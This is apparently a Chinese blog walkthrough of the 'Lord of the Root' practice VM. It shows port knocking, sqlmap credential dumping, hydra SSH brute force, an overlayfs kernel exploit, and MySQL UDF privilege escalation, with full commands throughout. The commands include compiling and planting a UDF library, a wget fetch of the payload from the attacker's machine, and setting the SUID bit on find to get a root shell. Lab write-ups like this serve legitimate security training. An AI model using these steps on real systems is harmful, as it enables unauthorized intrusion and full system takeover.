LORD OF THE ROOT靶场渗透实战

发布时间 2023-06-01 20:30:50作者: kalixcn

知识点

1. 端口碰撞
端口碰撞(Port Knocking)是一种安全技术,用于隐藏和保护网络服务器。该技术通过发送一系列特定的数据包,来触发服务器开放指定端口。在没有收到这些特定数据包的情况下,服务器的端口会一直处于关闭状态,从而增强服务器的安全性。
通常,端口碰撞技术将需要开放的端口号序列化为一个数字序列,每一个数字都会被映射到一种特定的操作,如打开、关闭或者重新开始。通过按照预定序列顺序发送数据包来激活这些操作,如“先发送数据包到1000端口,再发送其他数据包到2000端口”等,当服务器收到正确的序列组合时,它就会按照预定操作打开相应端口,从而允许外部用户链接到服务器。
端口碰撞技术可以隐藏服务器的实际端口号,从而增强了服务器的安全性。黑客需要解码正确的端口序列才能访问服务器,使攻击更加困难。但是,端口碰撞也有一些缺点。例如,它需要客户端预先掌握正确的端口号序列,也需要客户端和服务器端支持该技术。此外,实现端口碰撞还可能会引入其他安全问题,如中间人攻击和拒绝服务攻击等。因此,应该仔细考虑端口碰撞技术的使用场景和实现方案,并遵循最佳安全实践。

2. UDF(User-Defined Function,用户自定义函数)
UDF提权攻击是攻击者通过MYSQL UDF这一特殊机制借助MYSQL特权执行一些操作,以达到提权的目的。
UDF是MySQL中的一个扩展特性,允许用户编写自定义函数。如果攻击者成功地创建并注册了一个UDF,那么这个UDF可以被认为是MYSQL内置函数的替代品,可以将攻击者的代码注入到MYSQL服务器的内存中。然后,当该函数被调用执行时,攻击者的代码也会被执行,由此可以在系统层面上执行特权操作。
UDF提权攻击的步骤通常包括以下几个
1. 创建并编译一个包含攻击者代码的DLL文件。
2. 将DLL文件上传到目标MYSQL服务器,并将其注册为有效的UDF。
3. 通过创建特定的DDL语句触发UDF的执行,从而让攻击者的代码得以执行。
4. 攻击者可以在UDF函数中编写一些特殊的代码,以达到提权的效果。例如,在Windows系统上,攻击者可以使用UDF函数运行cmd.exe,进而在本地系统上获得SYSTEM权限。

3. hping3使用
hping3是一种网络测量工具,能够发送定制的ICMP、UDP和TCP报文来诊断网络故障、网络瓶颈等问题!
基本用法:
hping3 [选项] 目标IP
常见的选项包括

  • -c:设定要发送数据包的数量。
  • -p:设定目标端口号。
  • -s:设定源端口号。
  • -S:发送TCP SYN报文。
  • -R:发送TCP RESET报文。
  • -U:发送UDP数据包。

高级选项:

  • -a:设定伪造的源IP地址。
  • -k:启动保持模式,不断向目标主机发送数据包
  • –udp -k:启用保持模式,不断向目标主机发送UDP数据包。
  • -flood:启动红色攻击模式,向目标主机发送大量数据包。
  • -E:发送自定义数据包。
  • -d:设定数据包的大小。

实例:
发送10个TCP SYN报文到目标主机的80端口:

hping3 -c 10 -S target_ip -p 80

伪造源IP地址向目标主机的80端口不断的发送UDP数据包:

hping3 -k --udp -a 10.10.10.10 target_ip -p 80

渗透过程

实验环境
kali:10.10.10.128
靶机:10.10.10.146
靶机地址:

1. 主机发现

arp-scan 10.10.10.0/24
或者
netdiscover -i eth0 -r 10.10.10.0/24  

img

2. 服务探测

nmap -sS -sV -p- 10.10.10.146

img
通过nmap扫描,发现只开放了22端口,这里就涉及新知识点:端口碰撞

那就ssh连接一下!
img
根据图标提示,使用knock去碰撞

apt install knocked  #安装knock命令
#使用:knock ip port1 port2 port3 -v

knock 10.10.10.146 1 2 3 -v

img
在这里也可以使用hping3

hping3 -S 10.10.10.146 -p 1 -c 1
hping3 -S 10.10.10.146 -p 2 -c 1
hping3 -S 10.10.10.146 -p 3 -c 1

再次使用nmap查看目标开放端口:
img
看到了1337端口开放了(是不是很神奇!!!

3. 查看网页源代码
这里开放了1337端口,在该端口的服务是Apache,那就使用浏览器访问访问,主要注意:网页源代码!!!
首页就一个小女孩图片
img
并且查看了源代码,发现没有什么重要的信息!

4. 进行目录扫描
可以看到目标系统就展示了一张图片,可用的信息非常少,那就进行目录扫描一下吧!

dirsearch http://10.10.10.146:1337/

img
img

img
通过目录扫描出来,就发现几张图片,到这里的思路:先查看源代码,在查看图片中具体的内容!!!
img

通过查看源代码,发现一段奇特的东西,是base64编码,那就解码解码!
img
解码出来,发现一部分还是base64(真会玩呀),那就继续解码看看!
img

解码出来的东西像不像一个目录,那就访问访问吧!
img
发现是一个登录页面!

5. sql注入漏洞
通过前面的信息收集得到一个登录页面,对前面几张图片内容进行查看,没有发现疑似用户名和密码的东西,说明这里可能存在sql注入漏洞!

使用sqlmap进行自动化测试,查看是否存在sql注入漏洞

一、爆破数据库信息

sqlmap -u "http://10.10.10.146:1337/978345210/index.php" --forms --dbs

img

二、爆破数据库表名

sqlmap -u "http://10.10.10.146:1337/978345210/index.php" --forms -D Webapp --tables

img

三、爆破数据表字段

sqlmap -u http://10.10.10.146:1337//978345210/index.php"  --forms -D Webapp -T Users --columns

img

四、爆破字段内容信息

sqlmap -u "http://10.10.10.146:1337/978345210/index.php" --forms -D Webapp -T Users -C id,username,password --dump

img

最后得到了用户名、密码,那就登录一些,看看有什么有用的信息!
img
发现不管使用哪个用户登录,登录后都是一样的,查看源代码也没有重要的信息!!!

五、 ssh登录
在进行服务探测时,该目标系统开放了一个22端口,那就通过爆破出来的用户、密码尝试登录登录,
将用户保存为user.txt
将密码保存为pass.txt
使用hydra进行破解

hydra -L user.txt -P pass.txt 10.10.10.128 ssh

最后发现smeagol用户可以登录,

ssh smeagol@10.10.10.128
password:MyPreciousR00t

img

六、提权

1. 内核提权
登录用户为低权限用户,那就使用常规的方法看能不能进行提权操作。

  • 查看特殊权限,是否能SUID提权
  • 上传漏洞检测脚本
  • 查看sudo,看有没有授权的命令
find / -perm -4000 2>/dev/null
或者
find / -perm -u=s type f 2> /dev/null

sudo -l

img

都没有发现有用的信息!!!那就上传漏洞检测脚本进行提取!
本来使用nc上传漏洞检测脚本,但是发现上传有问题,那就使用python结合wget上传。
img

授权漏洞检测脚本执行权限,并运行!
img
在那里爆出许多漏洞,这里使用overlayfs进行提权!
img

根据提示的下载链接,下载exp,使用ssh登录目标系统,直接使用wget下载exp。
img
根据exp使用提示,进行操作
img
这里修改exp后缀名,是因为如果直接使用gcc不能编译,识别不了!

2. MYSQL提权
通过ssh登录目标系统,在/var/www目录下查找出网站的配置信息,重要查看数据库用户的登录密码!
img

找到了root用户的登录密码,去登录MySQL数据库看看能不能登录!
img

查看查看用户权限:

mysql> show grants;
+----------------------------------------------------------------------------------------------------------------------------------------+                                                                                                                                    
| Grants for root@localhost                                                                                                              |                                                                                                                                    
+----------------------------------------------------------------------------------------------------------------------------------------+                                                                                                                                    
| GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost' IDENTIFIED BY PASSWORD '*4DD56158ACDBA81BFE3FF9D3D7375231596CE10F' WITH GRANT OPTION |                                                                                                                                    
| GRANT PROXY ON ''@'' TO 'root'@'localhost' WITH GRANT OPTION                                                                           |                                                                                                                                    
+----------------------------------------------------------------------------------------------------------------------------------------+
2 rows in set (0.00 sec)

查看数据库版本信息:

mysql> select version();
+-------------------------+
| version()               |
+-------------------------+
| 5.5.44-0ubuntu0.14.04.1 |
+-------------------------+
1 row in set (0.00 sec)

查看用户导入导出权限

mysql> show global variables like 'secure%';
+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_auth      | OFF   |
| secure_file_priv |       |
+------------------+-------+
2 rows in set (0.29 sec)

注意:

  1. 当secure_file_priv值为NULL,表示限制mysql不允许导入导出操作,此时无法提权
  2. 当secure_file_priv的值为/usr/,表示限制mysql的导入导出只能发生在/usr/目录下,此时也无法提权
  3. 当secure_file_priv的值没有具体值时,表示不对mysql的导入导出做限制,可以提权。

查看myslq插件位置

mysql> show variables like '%plugin%';
+---------------+------------------------+
| Variable_name | Value                  |
+---------------+------------------------+
| plugin_dir    | /usr/lib/mysql/plugin/ |
+---------------+------------------------+
1 row in set (0.23 sec)

因为当MYSQL >= 5.1 版本时,必须要将UDF的动态链接库文件放置于MYSQL安装目录下的lib\plugin文件夹下,才能创建自定义函数。

在kali本地查看是否有mysql udf利用exp
img
这里使用1518.c,按照exp的提示进行操作

gcc -g -c 1518.c
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so 1518.o -lc

上传这个.so到目标系统的/tmp目录下:
img

接下来还是按照exp中的提示进行操作:

mysql> use mysql;
Database changed
mysql> create table foo(line blob);
Query OK, 0 rows affected (0.94 sec)

mysql> insert into foo values(load_file('/tmp/raptor_udf2.so'));
Query OK, 1 row affected (0.49 sec)

mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/raptor_udf2.so';
Query OK, 1 row affected (0.43 sec)

创建自定义函数,然后调用自定义函数给find命令所有者suid权限,使其可以执行root命令

mysql> create function do_system returns integer soname 'raptor_udf2.so'
-- 自定义函数

mysql> select * from  mysql.func;
-- 查看创建的函数

mysql> select do_system('chmod u+s /usr/bin/find');
-- 调用do_system函数来给find命令所有者的suid权限,使其可以执行root命令

执行find命令,使用find执行shell

touch test
find test -exec "/bin/sh" \; 
或者 find test -exec "id" \;
cd /root

UDF提权总结

  1. root登录
  2. 查看数据库版本
select version()
  1. 查看udf提权
show global variables like 'secure%';
  1. 查看插件位置
show variables like 'plugin%';
  1. 查看是否能远程登录
use mysql;
select user,host from user;

mysql中,BLOB是一个二进制大型对象,是一个可以存储大量数据的容器,他能容纳不同大小的数据。
可以利用lib_mysqludf_sys提供的函数执行系统命令
sys_eval:执行任意命令,并将输出返回
sys_exec:执行任意命令,并退出时返回。

udf exploit提供的系统命令为:do_system
6. 本地查看lib_mysqlduf_sys位置

locate lib_mysqludf_sys 

cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_32.so ./

mv lib_mysqludf_sys_32.so udf.so
  1. 上传并自定义函数
python -m http.server 8888

目标系统下载
cd /tmp
wget http://192.168.5.152:8081/udf.so
mysql -u root -p
create table udf (line blob);

-- 在表中写入udf文件内容
insert into udf values(load_file('/tmp/udf.so'));

-- 将udf文件内容传入新建的udf.so文件中
select * from udf into dumpfile '/usr/lib/mysql/plugin/udf.so';

-- 创建自定义函数
create function sys_eval returns string soname 'utf.so';
select * from mysql.func;

-- 调用sys_eval函数来给find命令所有者的suid权限,使其可以执行root命令
select sys_eval('chmod u+s /usr/bin/find');
exit
  1. 使用
提权
find / -exec '/bin/sh' \;